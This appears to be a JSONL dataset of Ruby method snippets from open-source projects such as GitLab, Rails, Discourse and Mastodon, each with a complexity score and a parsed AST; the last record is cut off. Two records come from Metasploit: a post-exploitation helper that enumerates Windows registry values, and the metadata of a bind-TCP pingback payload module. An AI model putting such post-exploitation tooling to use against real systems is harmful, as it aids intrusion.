]}]}","id":"eb064ca2-944f-4251-b22c-3e2eb40c3310"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/peek/views/elasticsearch.rb","start_line":24,"raw_source":"def self.thresholds\n        @thresholds ||= THRESHOLDS.fetch(Rails.env.to_sym, DEFAULT_THRESHOLDS)\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"thresholds\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@thresholds\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"THRESHOLDS\"]},\"fetch\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"to_sym\"]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_THRESHOLDS\"]}]}]}]}","id":"f4a3b55d-2502-44fc-81e7-b4f70407a816"}
{"repo_name":"zeitwerk","file_path":"./repos/zeitwerk/test/lib/zeitwerk/test_logging.rb","start_line":11,"raw_source":"def teardown\n    Zeitwerk::Loader.default_logger = nil\n    loader.logger = nil\n    super\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"teardown\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Zeitwerk\"]},\"Loader\"]},\"default_logger=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loader\"]},\"logger=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"c20c79a1-48ed-4f0e-bbb5-d1f972eb544b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_examples/services/work_items/data_sync/cloneable_and_moveable_data_stared_examples.rb","start_line":123,"raw_source":"def wi_labels(work_item)\n    work_item.reload.labels.pluck(:title)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"wi_labels\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_item\"]},\"reload\"]},\"labels\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"title\"]}]}]}","id":"0223036e-33e7-40b1-859a-983427f40745"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/engine/twitter_status_onebox.rb","start_line":107,"raw_source":"def timestamp\n        if twitter_api_credentials_present? && (created_at = raw.dig(:data, :created_at))\n          date = DateTime.strptime(created_at, \"%Y-%m-%dT%H:%M:%S.%L%z\")\n          date.strftime(\"%-l:%M %p - %-d %b %Y\")\n        end\n      end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"timestamp\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"twitter_api_credentials_present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"created_at\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"sym\",\"children\":[\"created_at\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"date\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"strptime\",{\"type\":\"lvar\",\"children\":[\"created_at\"]},{\"type\":\"str\",\"children\":[\"%Y-%m-%dT%H:%M:%S.%L%z\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%-l:%M %p - %-d %b %Y\"]}]}]},null]}]}","id":"6e649338-e518-4bbb-b9ea-f6453e498cbf"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/callbacks.rb","start_line":444,"raw_source":"def _create_record\n      _run_create_callbacks { super }\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"_create_record\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_run_create_callbacks\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"902c580f-d613-42ce-8bb8-f5cfd8899dc9"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/lib/captain/tools/base_public_tool.rb","start_line":33,"raw_source":"def find_contact(state)\n    contact_id = state&.dig(:contact, :id)\n    return nil unless contact_id\n\n    account_scoped(::Contact).find_by(id: contact_id)\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_contact\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"state\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"contact_id\",{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"contact\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contact_id\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account_scoped\",{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Contact\"]}]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"contact_id\"]}]}]}]}]}]}","id":"12341be2-1b37-4995-8cac-80785e0c3a12"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/internal_events/cli/helpers.rb","start_line":24,"raw_source":"def new_page!(on_step: nil, steps: [])\n      cli.say TTY::Cursor.clear_screen\n      cli.say TTY::Cursor.move_to(0, 0)\n      cli.say \"#{progress_bar(on_step, steps)}\\n\" if on_step && steps&.any?\n    end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"new_page!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"on_step\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"steps\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cli\"]},\"say\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TTY\"]},\"Cursor\"]},\"clear_screen\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cli\"]},\"say\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TTY\"]},\"Cursor\"]},\"move_to\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"on_step\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"steps\"]},\"any?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cli\"]},\"say\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"progress_bar\",{\"type\":\"lvar\",\"children\":[\"on_step\"]},{\"type\":\"lvar\",\"children\":[\"steps\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},null]}]}]}","id":"1b0afb34-4778-4b25-891c-e4b45fa700f4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/windows/registry.rb","start_line":337,"raw_source":"def shell_registry_enumvals(key, view)\n    key = normalize_key(key)\n    values = []\n    reg_data_types = 'REG_SZ|REG_MULTI_SZ|REG_DWORD_BIG_ENDIAN|REG_DWORD|REG_BINARY|'\n    reg_data_types << 'REG_DWORD_LITTLE_ENDIAN|REG_NONE|REG_EXPAND_SZ|REG_LINK|REG_FULL_RESOURCE_DESCRIPTOR'\n    # REG QUERY KeyName [/v ValueName | /ve] [/s]\n    results = shell_registry_cmd(\"query \\\"#{key}\\\"\", view)\n    unless results.to_s.upcase.starts_with?('ERROR:')\n      if values = results.scan(/^ +.*[#{reg_data_types}].*/)\n        # yanked the lines with legit REG value types like REG_SZ\n        # now let's parse out the names (first field basically)\n        values.collect! do |line|\n          t = line.split(' ')[0].chomp #chomp for good measure\n          # check if reg returned \"<NO NAME>\", which splits to \"<NO\", if so nil instead\n          t = nil if t == \"<NO\"\n          t\n        end\n      end\n    end\n    values\n  end","complexity_score":27.8,"ast_json":"{\"type\":\"def\",\"children\":[\"shell_registry_enumvals\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"view\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[null,\"normalize_key\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"reg_data_types\",{\"type\":\"str\",\"children\":[\"REG_SZ|REG_MULTI_SZ|REG_DWORD_BIG_ENDIAN|REG_DWORD|REG_BINARY|\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reg_data_types\"]},\"<<\",{\"type\":\"str\",\"children\":[\"REG_DWORD_LITTLE_ENDIAN|REG_NONE|REG_EXPAND_SZ|REG_LINK|REG_FULL_RESOURCE_DESCRIPTOR\"]}]},{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[null,\"shell_registry_cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"query \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]},{\"type\":\"lvar\",\"children\":[\"view\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"to_s\"]},\"upcase\"]},\"starts_with?\",{\"type\":\"str\",\"children\":[\"ERROR:\"]}]},null,{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^ +.*[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reg_data_types\"]}]},{\"type\":\"str\",\"children\":[\"].*\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"collect!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"split\",{\"type\":\"str\",\"children\":[\" \"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"chomp\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"==\",{\"type\":\"str\",\"children\":[\"<NO\"]}]},{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"lvar\",\"children\":[\"t\"]}]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"values\"]}]}]}","id":"ca6ee447-1622-4248-96ca-cd0457831ff0"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/helpers/settings_helper.rb","start_line":48,"raw_source":"def links_for_featured_tags(tags)\n    tags.map { |tag| post_link_to_featured_tag(tag) }\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"links_for_featured_tags\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tags\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tags\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]}]},{\"type\":\"send\",\"children\":[null,\"post_link_to_featured_tag\",{\"type\":\"lvar\",\"children\":[\"tag\"]}]}]}]}","id":"d9b03ff6-5fc3-46d0-9f24-875d68316a6e"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/two_factor_authentication/lib/open_project/two_factor_authentication/token_strategy/message_bird.rb","start_line":183,"raw_source":"def self.validate_params(params)\n        %i(apikey).each do |key|\n          unless params[key]\n            raise ArgumentError, \"MessageBird delivery settings is missing mandatory #{key}\"\n          end\n        end\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"validate_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"apikey\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"MessageBird delivery settings is missing mandatory \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]}]}]}","id":"ad6f3051-2ac9-45be-b045-668c5695c810"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/issuables_description_templates_helper.rb","start_line":63,"raw_source":"def template_names_path(parent, issuable)\n    return '' unless parent.is_a?(Project)\n\n    project_template_names_path(parent, template_type: issuable.to_ability_name)\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"template_names_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent\"]},{\"type\":\"arg\",\"children\":[\"issuable\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Project\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"project_template_names_path\",{\"type\":\"lvar\",\"children\":[\"parent\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"template_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"to_ability_name\"]}]}]}]}]}]}","id":"70c91f7f-4f8f-482f-9c4d-1f0ddfe0b5b0"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/rest/announcement_serializer.rb","start_line":48,"raw_source":"def acct\n      object.pretty_acct\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"acct\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"pretty_acct\"]}]}","id":"af477d4b-0aa9-4aed-b46d-58e641fc2fbd"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/jforum.rb","start_line":135,"raw_source":"def import_tags\n    puts \"\", \"creating tags\"\n\n    @tags_by_import_forum_id = {}\n\n    SiteSetting.tagging_enabled = true\n    SiteSetting.max_tag_length = 100\n    SiteSetting.max_tags_per_topic = 10\n    SiteSetting.force_lowercase_tags = false\n\n    additional_tags = Array.wrap(@settings[:additional_tags])\n\n    rows = query(<<~SQL)\n      SELECT c.categories_id, c.title AS category_name, f.forum_id, f.forum_name\n      FROM jforum_forums f\n        JOIN jforum_categories c ON f.categories_id = c.categories_id\n      WHERE EXISTS (\n        SELECT 1\n        FROM jforum_posts p\n        WHERE p.forum_id = f.forum_id\n      )\n    SQL\n\n    rows.each do |row|\n      tag_names = [row[:category_name], row[:forum_name]]\n\n      additional_tags.each do |additional_tag|\n        if additional_tag[:old_category_name].match?(row[:category_name])\n          tag_names += additional_tag[:tag_names]\n        end\n      end\n\n      tag_names.map! { |t| t.parameterize(preserve_case: true) }\n\n      tag_names.each_with_index do |tag_name, index|\n        tag = create_tag(tag_name)\n        next if tag.blank?\n\n        case index\n        when 0\n          url = File.join(@settings[:permalink_prefix], \"forums/list/#{row[:categories_id]}.page\")\n          Permalink.create(url: url, tag_id: tag.id) unless Permalink.find_by(url: url)\n        when 1\n          url = File.join(@settings[:permalink_prefix], \"forums/show/#{row[:forum_id]}.page\")\n          Permalink.create(url: url, tag_id: tag.id) unless Permalink.find_by(url: url)\n        end\n      end\n\n      @tags_by_import_forum_id[row[:forum_id]] = tag_names.uniq\n    end\n\n    category_mappings = Array.wrap(@settings[:category_mappings])\n\n    if category_mappings.blank?\n      rows.each do |row|\n        category_mappings.each do |mapping|\n          if mapping[:old_category_name].match?(row[:category_name])\n            @lookup.add_category(row[:forum_id], Category.find(mapping[:category_id]))\n          end\n        end\n      end\n    end\n  end","complexity_score":98.8,"ast_json":"{\"type\":\"def\",\"children\":[\"import_tags\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"creating tags\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@tags_by_import_forum_id\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"tagging_enabled=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"max_tag_length=\",{\"type\":\"int\",\"children\":[100]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"max_tags_per_topic=\",{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"force_lowercase_tags=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"additional_tags\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"additional_tags\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rows\",{\"type\":\"send\",\"children\":[null,\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT c.categories_id, c.title AS category_name, f.forum_id, f.forum_name\\n\"]},{\"type\":\"str\",\"children\":[\"FROM jforum_forums f\\n\"]},{\"type\":\"str\",\"children\":[\"  JOIN jforum_categories c ON f.categories_id = c.categories_id\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE EXISTS (\\n\"]},{\"type\":\"str\",\"children\":[\"  SELECT 1\\n\"]},{\"type\":\"str\",\"children\":[\"  FROM jforum_posts p\\n\"]},{\"type\":\"str\",\"children\":[\"  WHERE p.forum_id = f.forum_id\\n\"]},{\"type\":\"str\",\"children\":[\")\\n\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tag_names\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"category_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"forum_name\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"additional_tags\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"additional_tag\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"additional_tag\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"old_category_name\"]}]},\"match?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"category_name\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tag_names\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"additional_tag\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tag_names\"]}]}]},null]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_names\"]},\"map!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"parameterize\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"preserve_case\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_names\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag_name\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tag\",{\"type\":\"send\",\"children\":[null,\"create_tag\",{\"type\":\"lvar\",\"children\":[\"tag_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"blank?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"permalink_prefix\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"forums/list/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"categories_id\"]}]}]},{\"type\":\"str\",\"children\":[\".page\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Permalink\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"lvar\",\"children\":[\"url\"]}]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Permalink\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"id\"]}]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"permalink_prefix\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"forums/show/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"forum_id\"]}]}]},{\"type\":\"str\",\"children\":[\".page\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Permalink\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"lvar\",\"children\":[\"url\"]}]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Permalink\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"id\"]}]}]}]}]}]}]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tags_by_import_forum_id\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"forum_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_names\"]},\"uniq\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"category_mappings\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"category_mappings\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category_mappings\"]},\"blank?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category_mappings\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mapping\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapping\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"old_category_name\"]}]},\"match?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"category_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lookup\"]},\"add_category\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"forum_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Category\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapping\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"category_id\"]}]}]}]},null]}]}]},null]}]}]}","id":"18607922-f49a-43fb-9ee9-15b5d3f67a0c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/ruby/pingback_bind_tcp.rb","start_line":9,"raw_source":"def initialize(info = {})\n    super(\n      merge_info(\n        info,\n        'Name' => 'Ruby Pingback, Bind TCP',\n        'Description' => 'Listens for a connection from the attacker, sends a UUID, then terminates',\n        'Author' => 'asoto-r7',\n        'License' => MSF_LICENSE,\n        'Platform' => 'ruby',\n        'Arch' => ARCH_RUBY,\n        'Handler' => Msf::Handler::BindTcp,\n        'Session' => Msf::Sessions::Pingback,\n        'PayloadType' => 'ruby'\n      )\n    )\n  